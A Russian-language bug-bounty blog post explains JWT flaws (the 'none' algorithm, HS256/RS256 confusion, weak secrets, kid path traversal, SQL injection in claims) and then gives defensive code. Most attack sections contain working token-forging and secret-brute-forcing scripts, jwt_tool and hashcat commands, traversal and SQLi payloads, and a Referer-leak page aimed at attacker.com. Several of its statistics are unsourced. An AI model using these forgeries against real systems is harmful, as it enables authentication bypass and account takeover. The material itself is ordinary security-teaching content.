🔐 “JWT-токены: ломаем ‘none’ алгоритм и другие фейлы разработчиков”

Привет, хакеры! 💻 JWT (JSON Web Token) — это как пропуск в VIP-зону клуба. Если разработчики накосячили с проверкой этого пропуска, ты можешь стать админом за 5 минут.

Погнали ломать! 🚀

🎯 JWT 101: Что это и как работает

Структура JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.signature
↑ HEADER (base64) ↑ PAYLOAD (base64) ↑ SIGNATURE

Декодируем:

// HEADER
{
"alg": "HS256", // Алгоритм подписи
"typ": "JWT"
}
// PAYLOAD
{
"user": "admin",
"role": "admin",
"exp": 1730822400
}
// SIGNATURE = HMAC-SHA256(header + payload, secret_key)

Как должно работать:

1. Сервер создаёт токен с данными пользователя

2. Подписывает его секретным ключом

3. Клиент получает токен, использует в запросах

4. Сервер проверяет signature перед доверием данным

Проблема: 70% разработчиков косячат с шагом 4! 💀

💣 Уязвимость #1: ‘none’ Algorithm (классика жанра)

Суть атаки:

# Разработчик пишет:
import jwt
def verify_token(token):
# КОСЯК: не указывает algorithms parameter!
decoded = jwt.decode(token, secret_key, verify=False) # ЕЩЁ ХУЖЕ!
return decoded

Эксплойт:

import base64
import json
# Оригинальный токен (обычный юзер):
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicmVndWxhciIsInJvbGUiOiJ1c2VyIn0.signature
# Декодируем:
header = {"alg": "none", "typ": "JWT"} # Меняем на 'none'!
payload = {"user": "admin", "role": "admin"} # Делаем себя админом
# Кодируем обратно:
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Создаём токен БЕЗ подписи:
malicious_token = f"{header_b64}.{payload_b64}." # Обрати внимание на точку в конце!
# Отправляем:
requests.get('https://target.com/admin',
headers={'Authorization': f'Bearer {malicious_token}'})
# Если сервер не проверяет algorithm → мы админы! 🎉

Встречается в: 15-20% приложений (!)

💣 Уязвимость #2: Algorithm Confusion (HS256 vs RS256)

Суть:

HS256 = симметричное шифрование (один секретный ключ)
RS256 = асимметричное (приватный + публичный ключ)
Путаница: сервер ждёт RS256, но принимает HS256
→ Атакующий использует PUBLIC KEY как secret для HS256
→ Profit!

Эксплойт:

import jwt
import requests
# Шаг 1: Получаем публичный ключ сервера (часто доступен)
public_key = """
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...
-----END PUBLIC KEY-----
"""
# Шаг 2: Создаём токен с HS256, используя PUBLIC KEY как secret
payload = {
"user": "admin",
"role": "admin",
"exp": 9999999999
}
# Используем публичный ключ как HMAC secret!
malicious_token = jwt.encode(
payload,
public_key, # Публичный ключ вместо приватного!
algorithm='HS256' # Меняем алгоритм
)
# Шаг 3: Отправляем
requests.get('https://target.com/api/admin',
headers={'Authorization': f'Bearer {malicious_token}'})
# Если сервер не проверяет алгоритм строго → bypass! 🔓

Почему работает:

# Уязвимый код сервера:
def verify(token):
# Косяк: не указывает конкретный алгоритм!
decoded = jwt.decode(token, public_key)
# Принимает и HS256 и RS256
return decoded

💣 Уязвимость #3: Weak Secret Bruteforce

Проблема:

# Разработчик:
SECRET_KEY = "secret" # 💀💀💀
SECRET_KEY = "123456"
SECRET_KEY = "password"
SECRET_KEY = "jwt_secret"

Атака:

# Инструмент: jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Брутфорс секрета:
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Или hashcat (быстрее):
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Формат для hashcat (jwt.txt):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
# Если нашёл секрет → можешь подделывать любые токены!

Мой скрипт для проверки:

import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'rb')
for line in wordlist:
secret = line.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] SECRET FOUND: {secret.decode()}")
break
except:
pass

Статистика: 30% российских стартапов используют слабые секреты (!)

💣 Уязвимость #4: JWT in URL (leak через Referer)

Антипаттерн:

// Frontend код:
const token = getJWT();
window.location = `/dashboard?token=${token}`; // 💀 В URL!

Проблема:

1. Токен в URL
2. Пользователь кликает внешнюю ссылку
3. Браузер отправляет Referer:
Referer: https://target.com/dashboard?token=eyJhbG...
4. Внешний сайт получает токен!

PoC:

<!-- Злонамеренная страница -->
<html>
<body>
<img src="https://attacker.com/steal" style="display:none">
<script>
// Токен придёт в Referer header на attacker.com
</script>
</body>
</html>

Также:

• Логи веб-сервера сохраняют URL с токенами

• Browser history

• Proxy logs

💣 Уязвимость #5: No Expiration Check

Уязвимый код:

def verify_token(token):
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
# Косяк: не проверяет 'exp' claim!
return decoded
except:
return None

Эксплойт:

# Создаём токен с expiration в далёком будущем:
payload = {
"user": "admin",
"exp": 9999999999 # Год 2286!
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
# Или если нашли старый токен (украденный/leaked):
# Он работает ВЕЧНО, если нет проверки exp!

Impact:

• Украденные токены работают бесконечно

• Нет forced logout

• Session hijacking

💣 Уязвимость #6: Kid (Key ID) Injection

Что такое kid:

{
"alg": "HS256",
"kid": "key-2024" // Key ID - указывает какой ключ использовать
}

Уязвимость: Path Traversal в kid

# Уязвимый код сервера:
def get_key(kid):
key_path = f"/keys/{kid}.pem" # 💀 Нет валидации!
return open(key_path).read()
def verify(token):
header = jwt.get_unverified_header(token)
key = get_key(header['kid']) # Опасно!
return jwt.decode(token, key, algorithms=['RS256'])

Эксплойт:

# Создаём токен с malicious kid:
header = {
"alg": "HS256",
"kid": "../../../../../../etc/passwd" # Path traversal!
}
# Или лучше:
header = {
"alg": "HS256",
"kid": "../../../../../../dev/null" # Пустой файл = пустой ключ!
}
payload = {"user": "admin", "role": "admin"}
# Подписываем с пустым ключом:
token = jwt.encode(payload, "", algorithm='HS256')
# Меняем kid в header (ручная модификация base64)
# Отправляем → bypass!

💣 Уязвимость #7: SQL Injection в JWT Claims

Проблема:

# Уязвимый код:
def get_user_data(token):
decoded = jwt.decode(token, SECRET, algorithms=['HS256'])
user_id = decoded['user_id']

# 💀 SQL injection через JWT!
query = f"SELECT * FROM users WHERE id = {user_id}"
return db.execute(query)

Эксплойт:

# Если можешь контролировать JWT (weak secret/none алг):
payload = {
"user_id": "1 OR 1=1--", # SQLi payload в токене!
"role": "user"
}
token = jwt.encode(payload, SECRET, algorithm='HS256')
# Сервер декодирует → SQLi execute → получаем всех юзеров

Также работает:

• XSS в claims (если отображается в UI)

• Command injection

• LDAP injection

🛠️ Инструменты для тестирования JWT

  1. jwt_tool (мой фаворит)
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Сканирование уязвимостей:
python3 jwt_tool.py <TOKEN> -M at # All tests
# Брутфорс секрета:
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt
# Подмена данных:
python3 jwt_tool.py <TOKEN> -T
# None algorithm attack:
python3 jwt_tool.py <TOKEN> -X a
# Algorithm confusion:
python3 jwt_tool.py <TOKEN> -X k -pk public.pem
  1. JWT.io (для ручного анализа)
https://jwt.io/
- Декодирование токенов
- Проверка signature
- Создание своих токенов
  1. Burp Extension: JSON Web Tokens
- Автоматический перехват JWT
- Модификация на лету
- Fuzzing claims
  1. Свой Python скрипт
import jwt
import requests
class JWTTester:
def __init__(self, token):
self.token = token
self.header = jwt.get_unverified_header(token)
self.payload = jwt.decode(token, options={"verify_signature": False})

def test_none_algorithm(self):
"""Тест на none algorithm"""
self.header['alg'] = 'none'
self.payload['role'] = 'admin'

# Создаём токен без signature
header_b64 = base64_encode(self.header)
payload_b64 = base64_encode(self.payload)

return f"{header_b64}.{payload_b64}."

def test_weak_secret(self, wordlist):
"""Брутфорс секрета"""
for secret in wordlist:
try:
jwt.decode(self.token, secret, algorithms=['HS256'])
return secret
except:
pass
return None

def test_algorithm_confusion(self, public_key):
"""HS256 vs RS256"""
token = jwt.encode(
self.payload,
public_key,
algorithm='HS256'
)
return token
# Использование:
tester = JWTTester(original_token)
none_token = tester.test_none_algorithm()
# ... тестируем ...

🔐 Защита: Как делать правильно

Правильная проверка JWT:

import jwt
from datetime import datetime, timedelta
# === КОНФИГУРАЦИЯ ===
SECRET_KEY = "use_strong_random_secret_at_least_32_chars_long!" # ✅
ALGORITHM = "HS256"
TOKEN_EXPIRATION = timedelta(hours=1) # ✅ Короткий срок жизни
# === СОЗДАНИЕ ТОКЕНА ===
def create_token(user_id, role):
payload = {
"user_id": user_id,
"role": role,
"exp": datetime.utcnow() + TOKEN_EXPIRATION, # ✅ Expiration
"iat": datetime.utcnow(), # ✅ Issued at
"jti": generate_unique_id() # ✅ JWT ID для revocation
}

token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)

# Сохраняем JTI в Redis для возможности revoke
redis.set(f"jti:{payload['jti']}", user_id, ex=3600)

return token
# === ПРОВЕРКА ТОКЕНА ===
def verify_token(token):
try:
# ✅ ОБЯЗАТЕЛЬНО указываем algorithms!
decoded = jwt.decode(
token,
SECRET_KEY,
algorithms=[ALGORITHM], # Только один алгоритм!
options={
"verify_signature": True, # ✅ Проверяем подпись
"verify_exp": True, # ✅ Проверяем expiration
"require_exp": True # ✅ exp обязателен
}
)

# ✅ Дополнительные проверки:

# 1. Проверяем JTI (не revoked ли?)
jti = decoded.get('jti')
if not redis.exists(f"jti:{jti}"):
raise Exception("Token revoked")

# 2. Санитизируем данные перед использованием
user_id = sanitize_input(decoded['user_id'])
role = sanitize_input(decoded['role'])

return decoded

except jwt.ExpiredSignatureError:
raise Exception("Token expired")
except jwt.InvalidTokenError:
raise Exception("Invalid token")
# === SANITIZATION ===
def sanitize_input(value):
# Защита от SQLi, XSS в claims
if not isinstance(value, (str, int)):
raise ValueError("Invalid type")

value = str(value)

# Whitelist подход
if not re.match(r'^[a-zA-Z0-9_-]+$', value):
raise ValueError("Invalid characters")

return value
# === REVOCATION ===
def revoke_token(token):
"""Отзыв токена (logout)"""
decoded = jwt.decode(token, options={"verify_signature": False})
jti = decoded.get('jti')

# Удаляем из Redis
redis.delete(f"jti:{jti}")

Дополнительные best practices:

# 1. Используй HttpOnly + Secure cookies (не localStorage!)
response.set_cookie(
'jwt_token',
token,
httponly=True, # ✅ Нет доступа из JavaScript
secure=True, # ✅ Только HTTPS
samesite='Strict' # ✅ CSRF protection
)
# 2. Refresh tokens
def create_refresh_token(user_id):
payload = {
"user_id": user_id,
"type": "refresh",
"exp": datetime.utcnow() + timedelta(days=30)
}
return jwt.encode(payload, REFRESH_SECRET, algorithm=ALGORITHM)
# 3. Rotate secrets периодически
# Храни несколько версий ключа для grace period
# 4. Rate limiting на JWT endpoints
@rate_limit(max_requests=5, window=60) # 5 запросов в минуту
def login():
# ...
return create_token(user_id, role)
# 5. Логирование подозрительной активности
def verify_token(token):
decoded = jwt.decode(...)

# Логируем если role = admin
if decoded['role'] == 'admin':
log_admin_access(decoded['user_id'], request.ip)

return decoded

🎯 Где искать JWT уязвимости

Горячие точки:

✅ API endpoints - Authorization: Bearer

✅ Мобильные приложения - декомпиляция → hardcoded secrets

✅ Single Page Applications - JWT в localStorage

✅ Microservices - internal JWT без proper validation

✅ OAuth implementations - JWT в state/code parameters

✅ WebSockets - JWT в connection handshake

✅ GraphQL - JWT в headers/context

Мой чеклист:

# 1. Перехватываю JWT
# В Burp → ищу все токены
# 2. Декодирую
jwt.io или jwt_tool
# 3. Проверяю:
[ ] Algorithm: none работает?
[ ] Algorithm confusion (HS256 vs RS256)?
[ ] Weak secret (брутфорс)?
[ ] No expiration?
[ ] Kid injection?
[ ] JWT в URL/logs?
[ ] Claims injection (SQLi/XSS)?
[ ] Public key доступен?
[ ] Можно ли подделать signature?
# 4. Тестирую impact:
[ ] Privilege escalation (user → admin)?
[ ] Account takeover?
[ ] Access to sensitive data?
# 5. Пишу killer репорт

💡 Pro Tips

Tip #1: Комбинируй JWT баги с другими

JWT weak secret + IDOR = Account takeover
JWT none algorithm + CSRF = Admin access
JWT в URL + XSS = Mass token stealing

Tip #2: Ищи в мобильных приложениях

# Декомпилируй APK:
jadx app.apk
# Ищи:
grep -r "jwt" output/
grep -r "HS256" output/
grep -r "secret" output/
# Часто находишь hardcoded secrets!

Tip #3: Проверяй старые версии API

# Новая версия защищена:
GET /api/v2/user → JWT проверяется правильно
# Старая версия забыта:
GET /api/v1/user → JWT с 'none' работает!
GET /api/legacy/user → Вообще без JWT!

🎓 Итого

JWT — это минное поле для разработчиков:

Топ-5 ошибок:

1. ❌ `verify=False` или без `algorithms=`

2. ❌ Слабые секреты (`secret`, `123456`)

3. ❌ Принимают `alg: none`

4. ❌ Не проверяют `exp`

5. ❌ JWT в URL/localStorage

Как находить:

1. ✅ jwt_tool для автоматического сканирования

2. ✅ Брутфорс слабых секретов

3. ✅ Тестируй algorithm confusion

4. ✅ Проверяй kid injection

5. ✅ Декомпилируй mobile apps

Защита:

1. ✅ Всегда указывай `algorithms='HS256'`

2. ✅ Используй сильные случайные секреты (32+ символа)

3. ✅ Проверяй expiration

4. ✅ HttpOnly cookies, не localStorage

5. ✅ Логируй подозрительную активность

JWT баги = гарантированный High/Critical severity 🎯

Удачной охоты, ломайте JWT как боссы! 🔐💣💰

#дневникхакера #JWT #bugbounty #authentication #authbypass #jwtvulnerabilities #websecurity #ethicalhacking #pentesting #appsec #cybersecurity #infosec #criticalbugs

P.S. 90% JWT багов находятся за 10 минут с jwt_tool. Установи его прямо сейчас! 🛠️

P.P.S. Если ты разработчик — пожалуйста, читай JWT RFC правильно. Не делай `verify=False`. Никогда. 🙏

44 views·4 shares